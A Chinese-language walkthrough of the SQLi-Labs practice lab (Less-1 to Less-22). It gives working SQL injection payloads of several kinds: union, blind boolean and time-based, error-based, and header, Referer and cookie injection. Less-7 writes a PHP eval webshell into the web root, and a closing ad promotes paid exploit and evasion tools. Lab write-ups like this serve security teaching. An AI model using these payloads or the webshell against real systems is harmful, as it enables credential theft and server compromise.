【SQLi_Labs】Basic Challenges

什么是人生?人生就是永不休止的奋斗!

Less-1

尝试添加’注入,发现报错

在这里插入图片描述

这里我们就可以直接发现报错的地方,直接将后面注释,然后使用

1’ order by 3%23

//得到列数为3

在这里插入图片描述

//这里用-1是为了查询一个不存在的id,好让第一句结果为空,直接显示第二句的结果

-1’ union select 1,2,group_concat(schema_name) from information_schema.schemata%23

//得到数据库名

在这里插入图片描述

//得到表名

-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema= ‘security’%23

如下

在这里插入图片描述

//得到列名

-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name= ‘users’%23

如下

在这里插入图片描述

//爆破得到数据

-1’ union select 1,username,password from users where id=3%23

如下

在这里插入图片描述

Less-2

在添加’之后,得到返回

在这里插入图片描述

可以得到这个sql语句其实并没有单引号,只是用数字进行查询,例如

select * from users where id=1

所以我们也可以跟上面一样,payloads:

-1 or 1=1%23

如下

在这里插入图片描述

Less-3

添加’之后,返回

在这里插入图片描述

可以得到大概的sql语句:

select * from users where id=(‘input’) LIMIT 0,1;

所以我们可以需要闭合)。

-1’) or 1=1%23

如下

在这里插入图片描述

Less-4

尝试’并未发现报错,尝试"发现报错

在这里插入图片描述

可以得到大概的sql语句

select * from users where id = (“input”) LIMIT 0,1;

所以payload:

-1") or 1=1 %23

如下

在这里插入图片描述

Less-5

尝试’发现报错

在这里插入图片描述

猜测sql语句为

select * from users where id=‘input’ LIMIT 0,1;

如果尝试之前的注入方法,会发现不再会返回我们注入的信息,如果注入成功的话,页面会返回You are in…,出错的话就不会返回这个字符串,所以这里我们可以进行盲注。

使用left()

例如我们可以使用1’ and left(version(),1)=3%23这个payload进行测试,截取version()得到的最左侧的字符判断是否为3,如果为3则正常返回You are in…,否则不返回。

在这里插入图片描述

所以我们可以利用这个一步一步爆破得到1’ and left(version(),1)=5%23。爆破区间可以确定在/[0-9.]/。

采用1’and length(database())=8%23对数据库名字长度进行爆破,确定数据库名字长度之后,我们可以使用database()来进行爆破数据库名,采用1’ and left(database(),1)>‘a’%23这个payload进行测试,原理跟上述一致,看返回即可,直到截取长度与数据库名字一致为止,这里效率比较高的就是采用二分法进行盲注。

在这里插入图片描述

使用substr()、ascii()

也可以采用substr()、ascii()函数进行尝试:

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80%23 //截取数据库下第一个表的

在这里插入图片描述

第一个字符与80ascii值进行对比 找第二个字符只需要改成substr(‘xxx’,2,1)即可。 找第二个表改成limit 1,1

使用regexp()

1’ and 1=(select 1 from information_schema.columns where table_name=‘users’ and column_name regexp ‘^us[a-z]’ limit 0,1)%23 //users表中的列名是否有us**的列

在这里插入图片描述

使用ord()、mid()

1’ and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))= 68%23 //cast(username AS CHAR)将username转换成字符串

在这里插入图片描述

//IFNULL(exp1,exp2)假如expr1不为NULL,则IFNULL()的返回值为expr1; 否则其返回值为expr2。IFNULL()的返回值是数字或是字符串,具体情况取决于其所使用的语境。 //ord将某个字符转换成ascii码,同ascii()

使用报错注入

Mysql报错注入原理分析(count()、rand()、group by)

超链接:https://www.cnblogs.com/xdans/p/5412468.html

1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

在这里插入图片描述

1' union select 1,count(*) ,concat((select user()),floor(rand(0)*2))x from security.users group by x%23

在这里插入图片描述

1’ union select (exp(~(select * FROM(SELECT USER())a))),2, 3–+ //exp报错

在这里插入图片描述

1’ union select (!(select * from (select user())x)- ~0),2,3–+ //bigint 溢出报错注入(这个单引号是微软拼音的中文单引号)

在这里插入图片描述

1’ and extractvalue(1,concat(0x7e,(select @@version),0x7e)) --+ //xpath报错注入

在这里插入图片描述

1’ and updatexml(1,concat(0x7e,(select @@version),0x7e),1) --+ //xpath报错注入

在这里插入图片描述

1’ union select 1,2,3 from (select NAME_CONST(version(),1), NAME_CONST(version(),1))x --+

在这里插入图片描述

使用延时注入

benchmark 是Mysql的一个内置函数,其作用是来测试一些函数的执行速度。benchmark() 中带有两个参数,第一个是执行的次数,第二个是要执行的函数或者是表达式

1’and If(ascii(substr(database(),1,1))=115,1,sleep(5))–+

在这里插入图片描述

Less-6

没有回显,可以使用布尔盲注

1" and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100–+

在这里插入图片描述

可以发现>100有回显,小于就没有,也可以用报错注入…

这里就是把Less-5 中的’改成"就行了

Less-7

使用文件导出,通过第Less-5的报错注入出绝对路径

1’ and updatexml(1,concat(0x7e,(select @@datadir),0x7e),1) --+

在这里插入图片描述

1’))UNION SELECT 1,2,3 into outfile “c:\wamp\www\sqlli b\Less-7\uuu.txt”%23

在这里插入图片描述

上图中显示 sql 出错了,但是没有关系,我们可以在文件中看到 uuu.txt 已经生成了

在这里插入图片描述

1’))UNION SELECT 1,2,‘<?php @eval($_post["mima"])?>’ into outfile “c:\wamp\www\sqllib\Less-7\yijuhua.php”–+

在这里插入图片描述

可以在文件中看到一句话木马已经导入进去了

在这里插入图片描述

Less-8

可以使用时间盲注,也可以用 bool 盲注

1’ and If(ascii(substr(database(),1,1))>115,1,sleep(5))–+

在这里插入图片描述

Less-9

同 Less-8 可以使用时间盲注

1’ and If(ascii(substr(database(),1,1))>115,1,sleep(5))–+

在这里插入图片描述

Less-10

1" and If(ascii(substr(database(),1,1))>115,1,sleep(5))–+

在这里插入图片描述

Less-11

报错注入,少一列就行了

1' union Select count(*),concat(0x3a,0x3a,(select group_concat(schema_name) from information_schema.schemata),0x3a,0x3a,floor(rand(0)*2))a from information_schema.schemata group by a#

在这里插入图片描述

1' union select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.columns group by x#

在这里插入图片描述

Less-12

1") union Select count(*),concat(0x3a,0x3a,(select group_concat(schema_name) from information_schema.schemata),0x3a,0x3a,floor(rand(0)*2))a from information_schema.schemata group by a#

在这里插入图片描述

1") union select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.columns group by x#

在这里插入图片描述

Less-13

1’) or 1=1#

在这里插入图片描述

成功登录,报错注入成功但是不回显,可以考虑盲注

1’) or ascii(substr((database()),1,1))>100#

在这里插入图片描述

Less-14

1" or 1=1#

在这里插入图片描述

成功登录,依然不能回显,尝试使用布尔盲注

1" or left(database(),1)=‘s’#

在这里插入图片描述

发现可以用updatexml进行报错注入

1" and updatexml(1,concat(0x7e,(select @@version),0x7e),1)#

在这里插入图片描述

Less-15

1’ or 1=1#

在这里插入图片描述

成功登录,布尔注入或者时间盲注均可行

1’ or left(database(),1)=‘s’#

在这里插入图片描述

admin’ and If(ascii(substr(database(),1,1))>115,1,sleep(5))#

在这里插入图片描述

Less-16

1") or 1=1#

在这里插入图片描述

成功登录,布尔注入或者时间盲注均可行

1") or left(database(),1)=‘s’#

在这里插入图片描述

admin") and If(ascii(substr(database(),1,1))>115,1,sleep(5))#

在这里插入图片描述

Less-17

update注入,username过滤了很多,有password错误回显,考虑用报错注入

username=admin

password=1’ and updatexml(1,concat(0x7e,(select @@version),0x7e),1)#

在这里插入图片描述

Less-18

登录成功后,页面提示

在这里插入图片描述

那么有可能是 ip 或者 UA 注入,看了一下发现是个 Header 头注入,这里需要注意这是登录成功的条件下才能触发的,而且既然是insert注入,需要用’1’='1闭合后面的 sql 语句,否则就是语法错误了

’ and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and ‘1’='1

在这里插入图片描述

’ and updatexml(1,concat(0x7e,(select @@version),0x7e),1),“1”,“1”)#

在这里插入图片描述

Less-19

登录成功后提示

在这里插入图片描述

于是我们可以知道是在Referer应该有注入点,在 Referer 处同样用

’ and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and ‘1’='1

在这里插入图片描述

可以注入

Less-20

cookie 注入,登录成功后修改 cookie 即可,注意删除post的参数

uname=’ and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and ‘1’='1

在这里插入图片描述

Less-21

登录成功后发现 cookie 加上了 base64

YOUR COOKIE : uname = YWRtaW4=

用上面的 payload 进行 base64 编码就行了,记得=要 urlencode

JyBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQHZlcnNpb24pLDB4N2UpLDEpIGFuZCAnMSc9JzE%3d

在这里插入图片描述

Less-22

同 21 ,单引号换成双引号即可

IiBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQHZlcnNpb24pLDB4N2UpLDEpIGFuZCAiMSI9IjE%3d

本文poc、工具、源码加圈获取

1、本圈主要分享:攻防及SRC实战经验分享、代码审计漏洞详情及代码、最新漏洞详情及原创漏洞利用工具、免杀手法及工具代码、问题解答等。
2、圈主出身于深信服深蓝攻防实验室、新华三攻防实验室,连续5年多次获得国家级、省级、地市级、行业级护网攻击队前三名。
3、漏洞盒子总榜前五十名、补天总榜前五十名、去哪网SRC总榜前五十名。
4、获得50+CVE通用漏洞编号、100+CNVD通用漏洞证书。
5、CSDN、公众号、博客、先知社区、SecIN、FreeBuf粉丝量10000+。
6、前1-50名: 25¥,50-100名: 50¥,100-150名: 75¥,依次类推.....!

知识星球

img

纷传

img

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/498442.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

按照人们阅读Excel习惯来格式化BigDecimal

1、环境/问题描述 使用springboot发送邮件(附件)的方式将月度报表发送给领导查阅&#xff0c;数据是准确的&#xff0c;领导基本满意。 就是对一些数字的格式化提出了改进建议&#xff0c;比如不要让大数字自动转为科学计数法、浮点数小数点后都是0就不要带出来&#xff0c;根…

STM32 高级 WIFi案例1:测试AT指令

需求描述 测试AT指令是否能够正常控制ESP32的wifi&#xff0c;比如重启、读取设备信息等。 思路&#xff1a; stm32通过串口usart2向ESP32发布命令。ESP32通过串口1返回信息。 配置&#xff1a; 第一步&#xff1a;对ESP32芯片烧录可以读取stm32命令的固件&#xff08;fac…

Unity 读Excel,读取xlsx文件解决方案

Unity读取表格数据 效果&#xff1a; 思路&#xff1a; Unity可以解析Json&#xff0c;但是读取Excel需要插件的帮助&#xff0c;那就把这个功能分离开&#xff0c;读表插件就只管读表转Json&#xff0c;Unity就只管Json解析&#xff0c;中间需要一个存储空间&#xff0c;使用…

通过无障碍服务(AccessibilityService)实现Android设备全局水印显示

一、无障碍功能简介 首先我们先来了解下无障碍功能的官方介绍&#xff1a; 无障碍服务仅应用于帮助残障用户使用 Android 设备和应用。它们在后台运行&#xff0c;并在触发 AccessibilityEvents 时接收系统的回调。此类事件表示用户界面中的某些状态转换&#xff0c;例如焦点已…

查看vue的所有版本号和已安装的版本

1.使用npm查看Vue的所有版本&#xff1a; npm view vue versions2.查看项目中已安装的 Vue.js 版本 npm list vue

【鸿蒙NEXT】鸿蒙里面类似iOS的Keychain——关键资产(@ohos.security.asset)实现设备唯一标识

前言 在iOS开发中Keychain 是一个非常安全的存储系统&#xff0c;用于保存敏感信息&#xff0c;如密码、证书、密钥等。与 NSUserDefaults 或文件系统不同&#xff0c;Keychain 提供了更高的安全性&#xff0c;因为它对数据进行了加密&#xff0c;并且只有经过授权的应用程序才…

js ul li 事件委托

<ul><li>1111111111</li><li>2222222222</li><li>3333333333</li><li>4444444444</li> </ul>常规的 li 绑定点击事件 document.querySelectorAll(ul li).forEach((li) > {li.addEventListener(click, functio…

vue 嵌套el-dialo,当内层的弹窗弹出时,整个页面被遮罩

活不多说&#xff0c;直接上问题 当在页面上&#xff0c;点击出现第一个弹窗&#xff0c;然后在弹窗里面&#xff0c;点击在再出现一个弹窗时&#xff0c;就是如下效果。 查看Html,出现了遮罩层 Vue的建议是&#xff0c;不建议嵌套 Dialog&#xff0c;但实际上肯定存在嵌套 …

在基于Centos7的服务器上启用【Gateway】的【Clion Nova】(即 ReSharper C++ 引擎)

1. 检查启动报错日志&#xff0c;目录在 ~/.cache/JetBrains/CLion202x.x.x/log/backend.202x-xx-xx_xxxx.xxxx-err.log 2. 大致可能有两种报错 a. Process terminated. Couldnt find a valid ICU package installed on the system. 这个报错只需要装一下 libicu-devel 包即可…

短视频是如何一步步“蚕食”我们大脑的?

点击上方△腾阳 关注 转载请联系授权 你好&#xff0c;我是腾阳。 今天我们将深入探讨短视频是如何「蚕食」我们的大脑。 首先问下自己&#xff0c;你有多久没有看完一篇长文了&#xff1f; 你是否曾在清晨阳光中&#xff0c;被手机屏幕上短视频图标吸引&#xff0c;而忘记…

1、Jmeter、jdk下载与安装

1、访问官网&#xff0c;点击下载Jmeter http://jmeter.apache.org/ 2、在等待期间&#xff0c;下载对应的Java https://www.oracle.com/cn/java/technologies/downloads/#jdk23-windows 3、全部下载好&#xff0c;先安装JDK ![在这里插入图片描述](https://i-blog.csdnimg…

Hive刷分区MSCK

一、MSCK刷分区 我们平时通常是通过alter table add partition方式增加Hive的分区的&#xff0c;但有时候会通过HDFS put/cp命令或flink、flum程序往表目录下拷贝分区目录&#xff0c;如果目录多&#xff0c;需要执行多条alter语句&#xff0c;非常麻烦。Hive提供了一个"…

云手机+Facebook:让科技与娱乐完美结合

移动互联网时代&#xff0c;Facebook作为全球最大的社交媒体平台之一&#xff0c;早已成为企业、品牌和组织竞相角逐的营销阵地。而云手机的出现&#xff0c;则为Facebook营销注入了新的活力&#xff0c;其独特的优势让营销活动更加高效、精准且灵活。本文将深入探讨云手机在Fa…

STM32完全学习——FATFS0.15移植SD卡

一、下载FATFS源码 大家都知道使用CubMAX可以很快的将&#xff0c;FATFS文件管理系统移植到单片机上&#xff0c;但是别的芯片没有这么好用的工具&#xff0c;就需要自己从官网下载源码进行移植。我们首先解决SD卡的驱动问题&#xff0c;然后再移植FATFS文件管理系统。 二、SD…

solr9.7 单机安装教程

1.环境要求:jdk11以上 2.下载wget https://dlcdn.apache.org/solr/solr/9.7.0/solr-9.7.0.tgz 3.解压 4.修改solr.in.sh配置 5.启动命令 bin/solr start 6.创建core bin/solr create -c <core名称> 注意:用solr ui界面创建&#xff0c;会提示找不到solrconfig.xml和m…

MySQLOCP考试过了,题库很稳,经验分享。

前几天&#xff0c;本人参加了Oracle认证 MySQLOCP工程师认证考试 &#xff0c;先说下考这个证书的初衷&#xff1a; 1、首先本人是从事数据库运维的&#xff0c;今年开始单位逐步要求DBA持证上岗。 2、本人的工作是涉及数据库维护&#xff0c;对这块的内容比较熟悉&#xff…

【MySQL】踩坑笔记——保存带有换行符等特殊字符的数据,需要进行转义保存

问题描述 从DBeaver中导出了部分业务数据的 insert sql&#xff0c;明明在开发、测试环境都可以一把执行通过&#xff0c;却在预发环境执行前的语法检查失败了&#xff0c;提示有SQL语法错误。 这条SQL长这样&#xff0c;default_sql是要在odps上执行的sql语句&#xff0c;提…

计算机网络 (8)物理层的传输方式

一、串行传输与并行传输 串行传输 定义&#xff1a;串行传输是一种数据传输方式&#xff0c;指的是逐位地按照顺序传输数据。在串行传输中&#xff0c;数据位逐个按照一定的顺序进行传输&#xff0c;可以通过单条线路或信道进行。特点&#xff1a; 逐位传输&#xff1a;串行传输…

springboot506基于Springboot的小区疫情购物系统录(论文+源码)_kaic

摘 要 信息数据从传统到当代&#xff0c;是一直在变革当中&#xff0c;突如其来的互联网让传统的信息管理看到了革命性的曙光&#xff0c;因为传统信息管理从时效性&#xff0c;还是安全性&#xff0c;还是可操作性等各个方面来讲&#xff0c;遇到了互联网时代才发现能补上自古…

window如何将powershell以管理员身份添加到右键菜单?(按住Shift键显示)

window如何将powershell以管理员身份添加到右键菜单&#xff1f; 在 Windows 中&#xff0c;将 PowerShell 以管理员身份添加到右键菜单&#xff0c;可以让你在需要提升权限的情况下快速打开 PowerShell 窗口。以下是详细的步骤&#xff0c;包括手动编辑注册表和使用注册表脚本…